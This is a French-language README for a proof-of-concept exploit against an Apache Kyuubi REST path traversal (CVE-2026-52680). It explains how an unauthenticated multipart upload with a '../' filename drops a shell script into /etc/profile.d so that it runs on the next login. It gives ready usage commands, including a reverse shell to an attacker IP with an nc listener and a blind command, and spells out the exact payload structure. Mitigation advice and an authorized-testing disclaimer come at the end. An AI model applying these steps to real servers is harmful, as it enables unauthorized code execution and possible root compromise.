
Exploit pour la traversée de chemin d'Apache Kyuubi (CVE-2026-52680) permettant l'écriture arbitraire de fichiers sans authentification et l'exécution de code via des scripts shell profile.d.
Écriture arbitraire de fichier sans authentification dans l'API REST d'Apache Kyuubi via l'endpoint de soumission de batch multipart.
POST /api/v1/batches (multipart/form-data) écrit la partie resourceFile dans $KYUUBI_HOME/work/upload/<batchId>/ en utilisant le nom de fichier fourni par le client sans contrôle de traversée de chemin (kyuubi-common Utils.writeToTempFile) :
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix") // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)
Un nom de fichier ../ sort du répertoire d'upload → écriture arbitraire de fichier dans un répertoire (CWE-22) en tant qu'utilisateur du processus Kyuubi. Kyuubi est livré avec kyuubi.authentication=NONE par défaut, donc l'endpoint est sans authentification.
1.7.0 – 1.11.11.12.0 (ajoute le confinement filePath.normalize().startsWith(dir.normalize()))10099 (frontend REST, sans authentification quand authentication=NONE)writeToTempFile insère -<yyyyMMddHHmmss>-<counter> avant l'extension, vous contrôlez donc le répertoire de destination, l'extension et le contenu, mais pas le nom de base exact. Cela empêche l'écrasement par nom exact (~/.ssh/authorized_keys, /etc/crontab, ~/.bashrc) — visez plutôt un emplacement exécuté par glob.
Cet exploit dépose /etc/profile.d/pwn.sh → stocké sous /etc/profile.d/pwn-<ts>-<n>.sh, qui correspond toujours à /etc/profile.d/*.sh et est sourcé (aucun bit d'exécution requis) par chaque shell de connexion. Il s'exécute en tant que l'utilisateur qui ouvre un shell de connexion — root si Kyuubi tourne en root et qu'une connexion root se produit (par ex. ssh root@host, su -, un cron bash -lc).
Uniquement la bibliothèque standard de Python 3 — aucune dépendance.
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'
L'upload renvoie une HTTP 500 (Error opening batch session) lorsqu'aucun backend Spark n'est présent — c'est attendu et inoffensif : le fichier est écrit avant que le batch ne soit lancé.
Deux parties multipart :
batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} — un BatchRequest minimal valide pour que la validation passe et que la destination d'upload soit atteinte.resourceFile, nom de fichier ../../../../../../etc/profile.d/pwn.sh, corps = le payload. Kyuubi l'écrit (nom de base modifié) dans /etc/profile.d/pwn-<ts>-<n>.sh.Un shell de connexion source alors /etc/profile.d/*.sh et exécute le payload.
curl -s http://10.10.10.10:10099/api/v1/ping # Kyuubi REST responds (no auth)
Un frontend REST Kyuubi sur le port 10099 avec authentication=NONE est exploitable.
Mettez à niveau vers Apache Kyuubi ≥ 1.12.0, activez l'authentification (kyuubi.authentication), n'exposez jamais la passerelle REST à des réseaux non fiables et ne faites pas tourner Kyuubi en root.
Pour les tests de sécurité autorisés et l'éducation uniquement. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de tester.